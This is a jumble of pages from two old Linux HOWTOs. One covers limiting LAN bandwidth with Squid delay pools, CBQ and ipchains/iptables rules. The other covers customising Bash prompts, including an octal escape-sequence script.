RATE=35Kbit
WEIGHT=3Kbit
PRIO=5
#Windows Media Player.
RULE=:1755,192.168.1.0/24
#Real Player uses TCP port 554, for UDP it uses different ports,
#but generally RealAudio in UDP doesn't consume much bandwidth.
RULE=:554,192.168.1.0/24
RULE=:7070,192.169.1.0/24
#Napster uses ports 6699 and 6700, maybe some other?
RULE=:6699,192.168.1.0/24
RULE=:6700,192.168.1.0/24
#Audiogalaxy uses ports from 41000 to as high as probably 41900,
#there are many of them, so keep in mind I didn't list all of
#them here. Repeating 900 nearly the same lines would be of course
#pointless. We will simply cut out ports 410031-41900 using
#ipchains or iptables.
RULE=:41000,192.168.1.0/24
RULE=:41001,192.168.1.0/24
#continue from 41001 to 41030
RULE=:41030,192.168.1.0/24
#Some clever users can connect to SOCKS servers when using Napster,
#Audiogalaxy etc.; it's also a good idea to do so
#when you run your own SOCKS proxy
RULE=:1080,192.168.1.0/24
#Add any other ports you want; you can easily check and track
#ports that programs use with IPTraf
#RULE=:port,192.168.1.0/24

Don't forget to cut out remaining Audiogalaxy ports (41031-41900), using ipchains (kernels 2.2.x or iptables (kernels 2.4.x).

Kernels 2.2.x.

/sbin/ipchains -A input -s 192.168.1.1/24 -d ! 192.168.1.1 41031:41900 -p TCP -j REJECT

Kernels 2.4.x.

/sbin/iptables -A FORWARD -s 192.168.1.1/24 -d ! 192.168.1.1 --dport 41031:41900 -p TCP -j REJECT

Don't forget to add a proper line to your initializing scripts.

Prev | Home | Next
Installing and Configuring Necessary Software |  | Frequently Asked Questions


Frequently Asked Questions

Bandwidth Limiting HOWTO
Prev Next

5. Frequently Asked Questions

5.1. Is it possible to limit bandwidth on a per-user basis with delay pools?

Yes. Look inside the original squid.conf file and check the Squid documentation on http://www.squid-cache.org

5.2. How do I make wget work with Squid?

It's simple. Create a file called .wgetrc and put it in your home directory. Insert the following lines in it and that's it!

HTTP_PROXY=192.168.1.1:8080
FTP_PROXY=192.168.1.1:8080

You can make it work globally for all users, type man wget to learn how.

5.3. I set up my own SOCKS server listening on port 1080, and now I'm not able to connect to any irc server.

There can be two issues here.

One is when your SOCKS proxy is open relay, that means everyone can use it from any place in the world. It is a security issue and you should check your SOCKS proxy configuration again - generally irc servers don't allow open relay SOCKS servers to connect to them.

If you are sure your SOCKS server isn't open relay, you may be still disallowed to connect to some of the irc servers - it's because mostly they just check if SOCKS server is running on port 1080 of a client that is connecting. In that case just reconfigure your SOCKS to work on a different port. You will also have to reconfigure your LAN software to use a proper SOCKS server and port.

5.4. I don't like when Kazaa or Audiogalaxy is filling up all my upload bandwidth.

Indeed that can be painful, but it's simple to be solved.

Create a file called for example /etc/sysconfig/cbq/cbq-15.ppp.

Insert the following lines into it, and Kazaa or Audiogalaxy will upload not faster than about 15 kbits/s. I assume that your outgoing internet interface is ppp0.

DEVICE=ppp0,115Kbit,11Kbit
RATE=15Kbit
WEIGHT=2Kbit
PRIO=5
TIME=01:00-07:59;110Kbit/11Kbit
RULE=,:21
RULE=,213.25.25.101
RULE=,:1214
RULE=,:41000
RULE=,:41001
#And so on till :41030
RULE=,:41030

5.5. My outgoing mail server is eating up all my bandwidth.

You can limit your SMTP, Postfix, Sendmail, or whatever, in a way similar to the question above. Just change or add one rule:

RULE=,:25

Moreover, if you have an SMTP server, you can force your local LAN users to use it, even though they have set up their own SMTP servers to smtp.some.server! We'll do it in a transparent way we did before with Squid.

5.6. Can I limit my own FTP or WWW server in a manner similar it is shown in the question above?

Generally you can, but usually these servers have got their own bandwidth limiting configurations, so you will probably want to look into their documentation.

2.2.x Kernels

/sbin/ipchains -A input -s 192.168.1.1/24 -d ! 192.168.1.1 25 -p TCP -j REDIRECT 25

2.4.x Kernels

/sbin/iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 25 -j REDIRECT --to-port 25

Don't forget to add a proper line to your initializing scripts.

5.7. Is it possible to limit bandwidth on a per-user basis with cbq.init script?

Yes. Look inside this script; there are some examples.

5.8. Whenever I start cbq.init, it says sch_cbq is missing.

Probably you don't have CBQ as modules in your system. If you have compiled CBQ into your kernel, comment out the following lines in your cbq.init-v0.6.2 script.

### If you have cbq, tbf and u32 compiled into kernel, comment it out
#for module in sch_cbq sch_tbf sch_sfq sch_prio cls_u32; do
#        if ! modprobe $module; then
#               echo "**CBQ: could not load module $module"
#               exit
#        fi
#done

5.9. CBQ sometimes doesn't work for no reason.

Generally it shouldn't occur. Sometimes, you can observe mass downloads, though you think you have blocked all ports Napster or Audiogalaxy uses. Well, there is always one more port open for mass downloads. To find it, you can use IPTraf. As there can be possibly thousands of such ports, it can be really hard task for you. To make it easier, you can consider running your own SOCKS proxy - Napster, Audiogalaxy and many programs can use SOCKS proxies, so it's much easier to deal with just one port, than to do so with thousands of possibilites (standard SOCKS port is 1080, if you run your own SOCKS proxy server, you will be able to set it up differently, or run multiple instances of SOCKS proxy listening on different ports). Don't forget to close all ports for traffic, and leave open ports like 25 and 110 (SMTP and POP3), and other you think might be useful. You will find a link to awesome Nylon socks proxy server at the end of this HOWTO.

5.10. Delay pools are stupid; why can't I download something at full speed when the network is used only by me?

Unfortunately, you can't do much about it.

The only thing you can do is to use cron and reconfigure it, for example, at 1.00 am, so that Squid won't use delay pools, then reconfigure it again, let's say at 7.30 am, to use delay pools.

To do this, create two separate config files, called for example squid.conf-day and squid.conf-night, and put them into /opt/squid/etc/.

squid.conf-day would be the exact copy of a config we created earlier

squid.conf-night, on the contrary, would not have any delay pool lines, so all you have to do is to comment them out.

Next thing you have to do is to set up /etc/crontab entries correctly.

Edit /etc/crontab and put the following lines there:

#SQUID - night and day config change
01 9 * * * root /bin/cp -f /opt/squid/etc/squid.conf-day /opt/squid/etc/squid.conf; /opt/squid/bin/squid -k reconfigure
59 23 * * * root /bin/cp -f /opt/squid/etc/squid.conf-night /opt/squid/etc/squid.conf; /opt/squid/bin/squid -k reconfigure

5.11. My downloads break at 23:59 with "acl day time 09:00-23:59" in squid.conf. Can I do something about it?

You can achieve by removing that acl from your squid.conf, and "delay_access 2 allow dzien delay_access 2 deny !dzien" as well.

Then try to do it with cron as in the question above.

5.12. Squid's logs grow and grow very fast, what can I do about it?

Indeed, the more users you have, the more - sometimes useful - information will be logged.

The best way to eradicate it would be to use logrotate, but you'd have to do a little trick to make it work with Squid: proper cron and logrotate entries.

/etc/crontab entries:

#SQUID - logrotate
01 4 * * * root /opt/squid/bin/squid -k rotate; /usr/sbin/logrotate /etc/logrotate.conf; /bin/rm -f /var/log/squid/*.log.0

Here we have caused logrotate to start daily at 04:01 am, so remove any remaining logrotate starting points, for example from /etc/cron.daily/.

/etc/logrotate.d/syslog entries:

#SQUID logrotate - will keep logs for 40 days
/var/log/squid/*.log.0 {
rotate 40
compress
daily
postrotate
/usr/bin/killall -HUP syslogd
endscript
}

5.13. CBQ is stupid; why can't I download something at full speed when the network is used only be me?

Lucky you, it's possible!

There are to ways to achieve it.

The first is the easy one, similar to the solution we've made with Squid. Insert a line similar to the one below to your CBQ config files placed in /etc/sysconfig/cbq/:

TIME=00:00-07:59;110Kbit/11Kbit

You can have multiple TIME parameters in your CBQ config files.

Be careful though, because there is a small bug in that cbq.init-v0.6.2 script - it won't let you set certain times, for example 00:00-08:00! To make sure if everything is working correctly, start cbq.init-v0.6.2, and then within the time you set, type

/etc/rc.d/cbq.init-v0.6.2 timecheck

This is the example how the proper output should look like:

[root@mangoo rc.d]# ./cbq.init start; ./cbq.init timecheck **CBQ: 3:44: class 10 on eth0 changed rate (20Kbit -> 110Kbit) **CBQ: 3:44: class 40 on ppp0 changed rate (15Kbit -> 110Kbit) **CBQ: 3:44: class 50 on eth0 changed rate (35Kbit -> 110Kbit)

In this example something went wrong, probably in the second config file placed in /etc/sysconfig/cbq/; second counting from the lowest number in its name:

[root@mangoo rc.d]# ./cbq.init start; ./cbq.init timecheck **CBQ: 3:54: class 10 on eth0 changed rate (20Kbit -> 110Kbit) ./cbq.init: 08: value too great for base (error token is "08")

The second way to make CBQ more intelligent is harder - it doesn't depend on time. You can read about it in the Linux 2.4 Advanced Routing HOWTO, and play with tc command.

Prev | Home | Next
Dealing with Other Bandwidth-consuming Protocols Using CBQ |  | Miscellaneous


Bandwidth Limiting HOWTO

Tomasz Chmielewski

tch@metalab.unc.edu

Revision History
Revision 0.9 2001-11-20 Revised by: tc

This document describes how to set up your Linux server to limit download bandwidth or incoming traffic and how to use your internet link more efficiently.

Table of Contents
1. Introduction
1.1. New versions of this document
1.2. Disclaimer
1.3. Copyright and License
1.4. Feedback and corrections
1.5. Thanks
2. Before We Start
2.1. What do we need
2.2. How does it work?
3. Installing and Configuring Necessary Software
3.1. Installing Squid with the delay pools feature
3.2. Configuring Squid to use the delay pools feature
3.3. Solving remaining problems
4. Dealing with Other Bandwidth-consuming Protocols Using CBQ
4.1. FTP
4.2. Napster, Realaudio, Windows Media and other issues
5. Frequently Asked Questions
5.1. Is it possible to limit bandwidth on a per-user basis with delay pools?
5.2. How do I make wget work with Squid?
5.3. I set up my own SOCKS server listening on port 1080, and now I'm not able to connect to any irc server.
5.4. I don't like when Kazaa or Audiogalaxy is filling up all my upload bandwidth.
5.5. My outgoing mail server is eating up all my bandwidth.
5.6. Can I limit my own FTP or WWW server in a manner similar it is shown in the question above?
5.7. Is it possible to limit bandwidth on a per-user basis with cbq.init script?
5.8. Whenever I start cbq.init, it says sch_cbq is missing.
5.9. CBQ sometimes doesn't work for no reason.
5.10. Delay pools are stupid; why can't I download something at full speed when the network is used only by me?
5.11. My downloads break at 23:59 with "acl day time 09:00-23:59" in squid.conf. Can I do something about it?
5.12. Squid's logs grow and grow very fast, what can I do about it?
5.13. CBQ is stupid; why can't I download something at full speed when the network is used only be me?
6. Miscellaneous
6.1. Useful resources
Next
Introduction


Installing and Configuring Necessary Software

Bandwidth Limiting HOWTO
Prev Next

3. Installing and Configuring Necessary Software

Here, I will explain how to install the necessary software so that we can limit and test the bandwidth usage.

3.1. Installing Squid with the delay pools feature

As I mentioned before, Squid has a feature called delay pools, which allows us to control download bandwidth. Unfortunately, in most distributions, Squid is shipped without that feature.

So if you have Squid already installed, I must disappoint you -- you need to uninstall it and do it once again with delay pools enabled in the way I explain below.

  1. To get maximum performance from our Squid proxy, it's best to create a separate partition for its cache, called /cache/. Its size should be about 300 megabytes, depending on our needs.

    If you don't know how to make a separate partition, you can create the /cache/ directory on a main partition, but Squid performance can suffer a bit.

  2. We add a safe 'squid' user:

    # useradd -d /cache/ -r -s /dev/null squid >/dev/null 2>&1

    No one can log in as squid, including root.

  3. We download Squid sources from http://www.squid-cache.org

    When I was writing this HOWTO, the latest version was Squid 2.4 stable 1:

    http://www.squid-cache.org/Versions/v2/2.4/squid-2.4.STABLE1-src.tar.gz

  4. We unpack everything to /var/tmp:

  5. # tar xzpf squid-2.4.STABLE1-src.tar.gz

  6. We compile and install Squid (everthing is in one line):

    # ./configure --prefix=/opt/squid --exec-prefix=/opt/squid --enable-delay-pools --enable-cache-digests --enable-poll --disable-ident-lookups --enable-truncate --enable-removal-policies

    # make all

    # make install

3.2. Configuring Squid to use the delay pools feature

  1. Configure our squid.conf file (located under /opt/squid/etc/squid.conf):

    #squid.conf
#Every option in this file is very well documented in the original squid.conf file
#and on http://www.visolve.com/squidman/Configuration%20Guide.html

#
#The ports our Squid will listen on.
http_port 8080
icp_port 3130
#cgi-bins will not be cached.
acl QUERY urlpath_regex cgi-bin \?
no_cache deny QUERY
#Memory the Squid will use. Well, Squid will use far more than that.
cache_mem 16 MB
#250 means that Squid will use 250 megabytes of disk space.
cache_dir ufs /cache 250 16 256

#Places where Squid's logs will go to.
cache_log /var/log/squid/cache.log
cache_access_log /var/log/squid/access.log
cache_store_log /var/log/squid/store.log
cache_swap_log /var/log/squid/swap.log
#How many times to rotate the logs before deleting them.
#See the FAQ for more info.
logfile_rotate 10

redirect_rewrites_host_header off
cache_replacement_policy GDSF
acl localnet src 192.168.1.0/255.255.255.0
acl localhost src 127.0.0.1/255.255.255.255
acl Safe_ports port 80 443 210 119 70 20 21 1025-65535
acl CONNECT method CONNECT
acl all src 0.0.0.0/0.0.0.0
http_access allow localnet
http_access allow localhost
http_access deny !Safe_ports
http_access deny CONNECT
http_access deny all
maximum_object_size 3000 KB
store_avg_object_size 50 KB

#Set these if you want your proxy to work in a transparent way.
#Transparent proxy means you generally don't have to configure all
#your client's browsers, but hase some drawbacks too.
#Leaving these uncommented won't do any harm.
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on

#all our LAN users will be seen by external web servers
#as if they all used Mozilla on Linux. :)
anonymize_headers deny User-Agent
fake_user_agent Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6+) Gecko/20011122

#To make our connection even faster, we put two lines similar
#to the ones below. They will point a parent proxy server our own Squid
#will use. Don't forget to change the server to the one that will
#be fastest for you!
#Measure pings, traceroutes and so on.
#Make sure that http and icp ports are correct.

#Uncomment lines beginning with "cache_peer" if necessary.
#This is the proxy you are going to use for all connections...
#cache_peer w3cache.icm.edu.pl parent 8080 3130 no-digest default

#...except for the connections to addresses and IPs beginning with "!".
#It's a good idea not to use a higher
#cache_peer_domain w3cache.icm.edu.pl !.pl !7thguard.net !192.168.1.1

#This is useful when we want to use the Cache Manager.
#Copy cachemgr.cgi to cgi-bin of your www server.
#You can reach it then via a web browser typing
#the address http://your-web-server/cgi-bin/cachemgr.cgi
cache_mgr your@email
cachemgr_passwd secret_password all

#This is a name of a user our Squid will work as.
cache_effective_user squid
cache_effective_group squid

log_icp_queries off
buffered_logs on

#####DELAY POOLS
#This is the most important part for shaping incoming traffic with Squid
#For detailed description see squid.conf file or docs at http://www.squid-cache.org

#We don't want to limit downloads on our local network.
acl magic_words1 url_regex -i 192.168

#We want to limit downloads of these type of files
#Put this all in one line
acl magic_words2 url_regex -i ftp .exe .mp3 .vqf .tar.gz .gz .rpm .zip .rar .avi .mpeg .mpe .mpg .qt
.ram .rm .iso .raw .wav .mov
#We don't block .html, .gif, .jpg and similar files, because they
#generally don't consume much bandwidth

#We want to limit bandwidth during the day, and allow
#full bandwidth during the night
#Caution! with the acl below your downloads are likely to break
#at 23:59. Read the FAQ in this bandwidth if you want to avoid it.
acl day time 09:00-23:59

#We have two different delay_pools
#View Squid documentation to get familiar
#with delay_pools and delay_class.
delay_pools 2

#First delay pool
#We don't want to delay our local traffic.
#There are three pool classes; here we will deal only with the second.
#First delay class (1) of second type (2).
delay_class 1 2

#-1/-1 mean that there are no limits.
delay_parameters 1 -1/-1 -1/-1

#magic_words1: 192.168 we have set before
delay_access 1 allow magic_words1

#Second delay pool.
#we want to delay downloading files mentioned in magic_words2.
#Second delay class (2) of second type (2).
delay_class 2 2

#The numbers here are values in bytes;
#we must remember that Squid doesn't consider start/stop bits
#5000/150000 are values for the whole network
#5000/120000 are values for the single IP
#after downloaded files exceed about 150000 bytes,
#(or even twice or three times as much)
#they will continue to download at about 5000 bytes/s

delay_parameters 2 5000/150000 5000/120000
#We have set day to 09:00-23:59 before.
delay_access 2 allow day
delay_access 2 deny !day
delay_access 2 allow magic_words2

#EOF

    OK, when we have configured everything, we must make sure everything under /opt/squid and /cache directories belongs to user 'squid'.

    # mkdir /var/log/squid/

    # chown squid:squid /var/log/squid/

    # chmod 770 /var/log/squid/

    # chown -R squid:squid /opt/squid/

    # chown -R squid:squid /cache/

    Now everything is ready to run Squid. When we do it for the first time, we have to create its cache directories:

    # /opt/squid/bin/squid -z

    We run Squid and check if everything is working. A good tool to do that is IPTraf; you can find it on http://freshmeat.net. Make sure you have set the appropriate proxy in your web browsers (192.168.1.1, port 8080 in our example):

    # /opt/squid/bin/squid

    If everything is working, we add /opt/squid/bin/squid line to the end of our initializing scripts. Usually, it can be /etc/rc.d/rc.local.

    Other helpful options in Squid may be:

    # /opt/squid/bin/squid -k reconfigure (it reconfigures Squid if we made any changes in its squid.conf file)

    # /opt/squid/bin/squid -help :) self-explanatory

    You can also copy cachemgr.cgi to the cgi-bin directory of your WWW server, to make use of a useful Cache Manager.

3.3. Solving remaining problems

OK, we have installed Squid and configured it to use delay pools. I bet nobody wants to be restricted, especially our clever LAN users. They will likely try to avoid our limitations, just to download their favourite mp3s a little faster (and thus causing your headache).

I assume that you use IP-masquerade on your LAN so that your users could use IRC, ICQ, e-mail, etc. That's OK, but we must make sure that our LAN users will use our delay pooled Squid to access web pages and use ftp.

We can solve most of these problems by using ipchains (Linux 2.2.x kernels) or iptables (Linux 2.4.x kernels).

3.3.1. Linux 2.2.x kernels (ipchains)

We must make sure that nobody will try to cheat and use a proxy server other than ours. Public proxies usually run on 3128 and 8080 ports:

/sbin/ipchains -A input -s 192.168.1.1/24 -d ! 192.168.1.1 3128 -p TCP -j REJECT

/sbin/ipchains -A input -s 192.168.1.1/24 -d ! 192.168.1.1 8080 -p TCP -j REJECT

We must also make sure that nobody will try to cheat and connect to the internet directly (IP-masquerade) to download web pages:

/sbin/ipchains -A input -s 192.168.1.1/24 -d ! 192.168.1.1 80 -p TCP -j REDIRECT 8080

If everything is working, we add these lines to the end of our initializing scripts. Usually, it can be /etc/rc.d/rc.local.

We might think to block ftp traffic (ports 20 and 21) to force our LAN users to use Squid, but it's not a good idea for at least two reasons:

  • Squid is a http proxy with ftp support, not a real ftp proxy. It can download from ftp, it can also upload to some ftp, but it can't delete/change name of files on remote ftp servers.

    When we block ports 20 and 21, we won't be able to delete/change name of files on remote ftp servers.

  • IE5.5 has a bug -- it doesn't use a proxy to retrieve the ftp directory. Instead it connects directly via IP-masquerade.

    When we block ports 20 and 21, we won't be able to browse through ftp directories, using IE5.5.

So, we will block excessive ftp downloads using other methods. We will deal with it in chapter 4.

3.3.2. Linux 2.4.x kernels (iptables)

We must make sure that nobody will try to cheat and use a proxy server other than ours. Public proxies usually run on 3128 and 8080 ports:

/sbin/iptables -A FORWARD -s 192.168.1.1/24 -d ! 192.168.1.1 --dport 3128 -p TCP -j DROP

/sbin/iptables -A FORWARD -s 192.168.1.1/24 -d ! 192.168.1.1 --dport 8080 -p TCP -j DROP

We must also make sure that nobody will try to cheat and connect to the internet directly (IP-masquerade) to download web pages:

/sbin/iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

If everything is working, we add these lines to the end of our initializing scripts. Usually, it can be /etc/rc.d/rc.local.

We might think to block ftp traffic (ports 20 and 21) to force our LAN users to use Squid, but it's not a good idea for at least two reasons:

  • Squid is a http proxy with ftp support, not a real ftp proxy. It can download from ftp, it can also upload to some ftp, but it can't delete/change name of files on remote ftp servers.

    When we block ports 20 and 21, we won't be able to delete/change name of files on remote ftp servers.

  • IE5.5 has a bug -- it doesn't use a proxy to retrieve the ftp directory. Instead it connects directly via IP-masquerade.

    When we block ports 20 and 21, our LAN users won't be able to browse through ftp directories, using IE5.5.

So, we will block excessive ftp downloads using other methods. We will deal with it in chapter 4.

Prev | Home | Next
Before We Start |  | Dealing with Other Bandwidth-consuming Protocols Using CBQ


Introduction

Bandwidth Limiting HOWTO
Prev Next

1. Introduction

The purpose of this guide is to provide an easy solution for limiting incoming traffic, thus preventing our LAN users from consuming all the bandwidth of our internet link.

This is useful when our internet link is slow or our LAN users download tons of mp3s and the newest Linux distro's *.iso files.

1.1. New versions of this document

You can always view the latest version of this document on the World Wide Web at the URL http://www.linuxdoc.org.

New versions of this document will also be uploaded to various Linux WWW and FTP sites, including the LDP home page at http://www.linuxdoc.org.

1.2. Disclaimer

Neither the author nor the distributors, or any other contributor of this HOWTO are in any way responsible for physical, financial, moral or any other type of damage incurred by following the suggestions in this text.

1.3. Copyright and License

This document is copyright 2001 by Tomasz Chmielewski, and is released under the terms of the GNU Free Documentation License, which is hereby incorporated by reference.

1.4. Feedback and corrections

If you have questions or comments about this document, please feel free to mail Tomasz Chmielewski at tch@metalab.unc.edu. I welcome any suggestions or criticisms. If you find a mistake or a typo in this document (and you will find a lot of them, as English is not my native language), please let me know so I can correct it in the next version. Thanks.

1.5. Thanks

I would like to thank Ami M. Echeverri lula@pollywog.com who helped me to convert the HOWTO into SGML format and corrected some mistakes. I also want to thank Ryszard Prosowicz prosowicz@poczta.fm for useful suggestions.

Prev | Home | Next
Bandwidth Limiting HOWTO |  | Before We Start


Miscellaneous

Bandwidth Limiting HOWTO
Prev

6. Miscellaneous

6.1. Useful resources

Squid Web Proxy Cache

http://www.squid-cache.org

Squid 2.4 Stable 1 Configuration manual

http://www.visolve.com/squidman/Configuration%20Guide.html

http://www.visolve.com/squidman/Delaypool%20parameters.htm

Squid FAQ

http://www.squid-cache.org/Doc/FAQ/FAQ-19.html#ss19.8

cbq-init script

ftp://ftp.equinox.gu.net/pub/linux/cbq/

Linux 2.4 Advanced Routing HOWTO

http://www.linuxdoc.org/HOWTO/Adv-Routing-HOWTO.html

Traffic control (in Polish)

http://ceti.pl/~kravietz/cbq/

Securing and Optimizing Linux Red Hat Edition - A Hands on Guide

http://www.linuxdoc.org/guides.html

IPTraf

http://cebu.mozcom.com/riker/iptraf/

IPCHAINS

http://www.linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html

Nylon socks proxy server

http://mesh.eecs.umich.edu/projects/nylon/

Indonesian translation of this HOWTO by Rahmat Rafiudin mjl_id@yahoo.com

http://raf.unisba.ac.id/resources/BandwidthLimitingHOWTO/index.html

Prev | Home
Frequently Asked Questions |


Before We Start

Bandwidth Limiting HOWTO
Prev Next

2. Before We Start

Let's imagine the following situation:

  • We have 115,2 kbits/s ppp (modem) internet link (115,2/10 = 11,5 kbytes/s). Note: with eth connections (network card) we would divide 115,2 by 8; with ppp we divide by 10, because of start/stop bits (8 + 1 + 1 = 10).

  • We have some LAN stations and their users are doing bulk downloads all the time.

  • We want web pages to open fast, no matter how many dowloads are happening.

  • Our internet interface is ppp0.

  • Our LAN interface is eth0.

  • Our network is 192.168.1.0/24

2.1. What do we need

Believe it or not, shaping the incoming traffic is an easy task and you don't have to read tons of books about routing or queuing algorithms.

To make it work, we need at least Squid proxy; if we want to fine tune it, we will have to get familiar with ipchains or iptables and CBQ.

To test our efforts, we can install IPTraf.

2.2. How does it work?

Squid is probably the most advanced HTTP proxy server available for Linux. It can help us save bandwidth in two ways:

  • The first is a main characteristic of proxy servers -- they keep downloaded web pages, pictures, and other objects in memory or on a disk. So, if two people are requesting the same web page, it isn't downloaded from the internet, but from the local proxy.

  • Apart from normal caching, Squid has a special feature called delay pools. Thanks to delay pools, it is possible to limit internet traffic in a reasonable way, depending on so-called 'magic words', existing in any given URL. For example, a magic word could be '.mp3', '.exe' or '.avi', etc. Any distinct part of a URL (such as .avi) can be defined as a magic word.

With that, we can tell the Squid to download these kinds of files at a specified speed (in our example, it will be about 5 kbytes/s). If our LAN users download files at the same time, they will be downloaded at about 5 kbytes/s altogether, leaving remaining bandwidth for web pages, e-mail, news, irc, etc.

Of course, the Internet is not only used for downloading files via web pages (http or ftp). Later on, we will deal with limiting bandwidth for Napster, Realaudio, and other possibilities.

Prev | Home | Next
Introduction |  | Installing and Configuring Necessary Software


Bash Prompt Escape Sequences

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 2. Bash and Bash Prompts Next

2.5. Bash Prompt Escape Sequences

There are a lot of escape sequences offered by the Bash shell for insertion in the prompt. From the Bash 2.04 man page:

       When  executing  interactively,  bash displays the primary
       prompt PS1 when it is ready to read  a  command,  and  the
       secondary  prompt PS2 when it needs more input to complete
       a command.  Bash allows these prompt strings  to  be  cus
       tomized by inserting a number of backslash-escaped special
       characters that are decoded as follows:
              \a     an ASCII bell character (07)
              \d     the date  in  "Weekday  Month  Date"  format
                     (e.g., "Tue May 26")
              \e     an ASCII escape character (033)
              \h     the hostname up to the first `.'
              \H     the hostname
              \j     the  number of jobs currently managed by the
                     shell
              \l     the basename of the shell's terminal  device
                     name
              \n     newline
              \r     carriage return
              \s     the  name  of  the shell, the basename of $0
                     (the portion following the final slash)
              \t     the current time in 24-hour HH:MM:SS format
              \T     the current time in 12-hour HH:MM:SS format
              \@     the current time in 12-hour am/pm format
              \u     the username of the current user
              \v     the version of bash (e.g., 2.00)
              \V     the release of bash,  version  +  patchlevel
                     (e.g., 2.00.0)
              \w     the current working directory
              \W     the  basename  of the current working direc
                     tory
              \!     the history number of this command
              \#     the command number of this command
              \$     if the effective UID is 0, a #, otherwise  a
                     $
              \nnn   the  character  corresponding  to  the octal
                     number nnn
              \\     a backslash
              \[     begin a sequence of non-printing characters,
                     which could be used to embed a terminal con
                     trol sequence into the prompt
              \]     end a sequence of non-printing characters

For long-time users, note the new \j and \l sequences: these are new in 2.03 or 2.04.

Continuing where we left off:

[giles@nikola giles]$ PS1="\u@\h \W> "
giles@nikola giles> ls
bin   mail
giles@nikola giles>

This is similar to the default on most Linux distributions. I wanted a slightly different appearance, so I changed this to:

giles@nikola giles> PS1="[\t][\u@\h:\w]\$ "
[21:52:01][giles@nikola:~]$ ls
bin   mail
[21:52:15][giles@nikola:~]$
Prev | Home | Next
The First Step | Up | Setting the PS? Strings Permanently


Introduction and Administrivia

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 1. Introduction and Administrivia

Table of Contents
1.1. Introduction
1.2. Revision History
1.3. Requirements
1.4. How To Use This Document
1.5. Document Versions, Comments and Suggestions
1.6. Translations
1.7. Problems
1.8. Credits/Bibliography
1.9. Disclaimer
Prev | Home | Next
Bash Prompt HOWTO |  | Introduction


Bash and Bash Prompts

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 2. Bash and Bash Prompts

Table of Contents
2.1. What is Bash?
2.2. What Can Tweaking Your Bash Prompt Do For You?
2.3. Why Bother?
2.4. The First Step
2.5. Bash Prompt Escape Sequences
2.6. Setting the PS? Strings Permanently
Prev | Home | Next
Disclaimer |  | What is Bash?


Bash Programming and Shell Scripts

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 3. Bash Programming and Shell Scripts

Table of Contents
3.1. Variables
3.2. Quotes and Special Characters
3.3. Command Substitution
3.4. Non-Printing Characters in Prompts
3.5. Sourcing a File
3.6. Functions, Aliases, and the Environment
Prev | Home | Next
Setting the PS? Strings Permanently |  | Variables


External Commands

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 4. External Commands

Table of Contents
4.1. PROMPT_COMMAND
4.2. External Commands in the Prompt
4.3. What to Put in Your Prompt
Prev | Home | Next
Functions, Aliases, and the Environment |  | PROMPT_COMMAND


ANSI Escape Sequences: Colours and Cursor Movement

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 6. ANSI Escape Sequences: Colours and Cursor Movement

Table of Contents
6.1. Colours
6.2. Cursor Movement
6.3. Xterm Title Bar Manipulations
6.4. Colours and Cursor Movement With tput
Prev | Home | Next
Saving Complex Prompts |  | Colours


Special Characters: Octal Escape Sequences

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 7. Special Characters: Octal Escape Sequences

Outside of the characters that you can type on your keyboard, there are a lot of other characters you can print on your screen. I've created a script to allow you to check out what the font you're using has available for you. The main command you need to use to utilize these characters is "echo -e". The "-e" switch tells echo to enable interpretation of backslash-escaped characters. What you see when you look at octal 200-400 will be very different with a VGA font from what you will see with a standard Linux font. Be warned that some of these escape sequences have odd effects on your terminal, and I haven't tried to prevent them from doing whatever they do. The linedraw and block characters that are used heavily by the Bashprompt project are between octal 260 and 337 in the VGA fonts.

#!/bin/bash

#   Script: escgen

function usage {
   echo -e "\033[1;34mescgen\033[0m <lower_octal_value> [<higher_octal_value>]"
   echo "   Octal escape sequence generator: print all octal escape sequences"
   echo "   between the lower value and the upper value.  If a second value"
   echo "   isn't supplied, print eight characters."
   echo "   1998 - Giles Orr, no warranty."
   exit 1
}

if [ "$#" -eq "0" ]
then
   echo -e "\033[1;31mPlease supply one or two values.\033[0m"
   usage
fi
let lower_val=${1}
if [ "$#" -eq "1" ]
then
   #   If they don't supply a closing value, give them eight characters.
   upper_val=$(echo -e "obase=8 \n ibase=8 \n $lower_val+10 \n quit" | bc)
else
   let upper_val=${2}
fi
if [ "$#" -gt "2" ]
then
   echo -e "\033[1;31mPlease supply two values.\033[0m"
   echo
   usage
fi
if [ "${lower_val}" -gt "${upper_val}" ]
then
   echo -e "\033[1;31m${lower_val} is larger than ${upper_val}."
   echo
   usage
fi
if [ "${upper_val}" -gt "777" ]
   then
   echo -e "\033[1;31mValues cannot exceed 777.\033[0m"
   echo
   usage
fi

let i=$lower_val
let line_count=1
let limit=$upper_val
while [ "$i" -lt "$limit" ]
do
   octal_escape="\\$i"
   echo -en "$i:'$octal_escape' "
   if [ "$line_count" -gt "7" ]
   then
      echo
      #   Put a hard return in.
      let line_count=0
   fi
   let i=$(echo -e "obase=8 \n ibase=8 \n $i+1 \n quit" | bc)
   let line_count=$line_count+1
done
echo

You can also use xfd to display all the characters in an X font, with the command xfd -fn <fontname>. Clicking on any given character will give you lots of information about that character, including its octal value. The script given above will be useful on the console, and if you aren't sure of the current font name.

Prev | Home | Next
Colours and Cursor Movement With tput |  | The Bash Prompt Package


Loading a Different Prompt

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 9. Loading a Different Prompt

Table of Contents
9.1. Loading a Different Prompt, Later
9.2. Loading a Different Prompt, Immediately
9.3. Loading Different Prompts in Different X Terms
Prev | Home | Next
Changing the Xterm Font |  | Loading a Different Prompt, Later


Loading Prompt Colours Dynamically

